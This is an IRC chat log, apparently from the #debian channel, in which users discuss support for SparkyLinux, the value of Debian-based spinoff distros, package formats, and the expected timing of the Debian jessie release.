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| 23:38.01 | HL3Confirmed | How do you huys Feel about Sparky? Since it litterally has no IRC support in English I guess. |
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| 23:38.11 | HL3Confirmed | Would I ever be able to get support here for it? |
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| 23:39.26 | centrx | !sparky |
| 23:39.27 | dpkg | SparkyLinux is a Linux distribution based on <testing>. It is not supported in #debian. http://sparkylinux.org/ See also <based on debian>. |
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| 23:39.35 | centrx | HL3Confirmed, Try #linux |
| 23:40.32 | acz32 | man, there's a distro based on everything |
| 23:40.59 | HL3Confirmed | I was hoping you guys would not say that, since this community is much better than ##Linux imho.. I respect that though. |
| 23:41.12 | srg | HL3Confirmed: Use Debian, then we'll help you :-P |
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| 23:41.39 | HL3Confirmed | Haha I did since Potato til 2013 |
| 23:41.50 | HL3Confirmed | It is my favorite Distro for servers still. |
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| 23:44.33 | centrx | HL3Confirmed, Have you tried testing? |
| 23:45.23 | HL3Confirmed | Yes, I have nothing bad to say about Debian at all. Just like trying some new Distros is all. |
| 23:45.44 | centrx | HL3Confirmed, How about Slackware? |
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| 23:46.26 | acz32 | you're having to trust a third-party to package debian testing for you though |
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| 23:48.26 | HL3Confirmed | acz32: Yeah like Mint does.. the most downloaded distro for the past 4 months according to DistroWatch.. |
| 23:48.28 | teraflops | I personally do not get the point of using that spinoff distros |
| 23:48.52 | HL3Confirmed | I mean Ubuntu is a debian "Spinoff" and it is wildly successful. |
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| 23:49.41 | teraflops | HL3Confirmed: i do not get the point of using ubuntu too, but that is an opinion |
| 23:50.25 | curby | my linux needs are rather narrow (old, boring, slow-moving servers with old, boring stuff like apache and php) so debian's slower pace fits me just fine :) |
| 23:50.26 | acz32 | HL3Confirmed: those are not any different in my opinion either |
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| 23:51.17 | curby | two releases a year would drive me nuts |
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| 23:52.21 | acz32 | not everyone has servers though |
| 23:52.30 | HL3Confirmed | I have never used anything RPM based, if that helps. I love DPKG |
| 23:52.34 | curby | oh i know. :) |
| 23:52.56 | teraflops | well, for a server I susbscribe curby words |
| 23:52.58 | curby | everyone's needs are different, which partially explains all the distros out there. |
| 23:54.33 | teraflops | HL3Confirmed: xD |
| 23:54.49 | curby | i've used rpms ... still do at work. it's hell on wheels |
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| 23:55.12 | curby | i don't know what hell on wheels is, but it seemed like an interesting figure of speech to try |
| 23:56.04 | HL3Confirmed | Haha. |
| 23:56.07 | curby | wikipedia says jessie's been frozen since november. is there any more recent news about a release timeline? |
| 23:56.36 | centrx | curby, https://lists.debian.org/debian-devel-announce/2015/03/msg00002.html |
| 23:57.55 | curby | thanks! they say possibly april, likely later |
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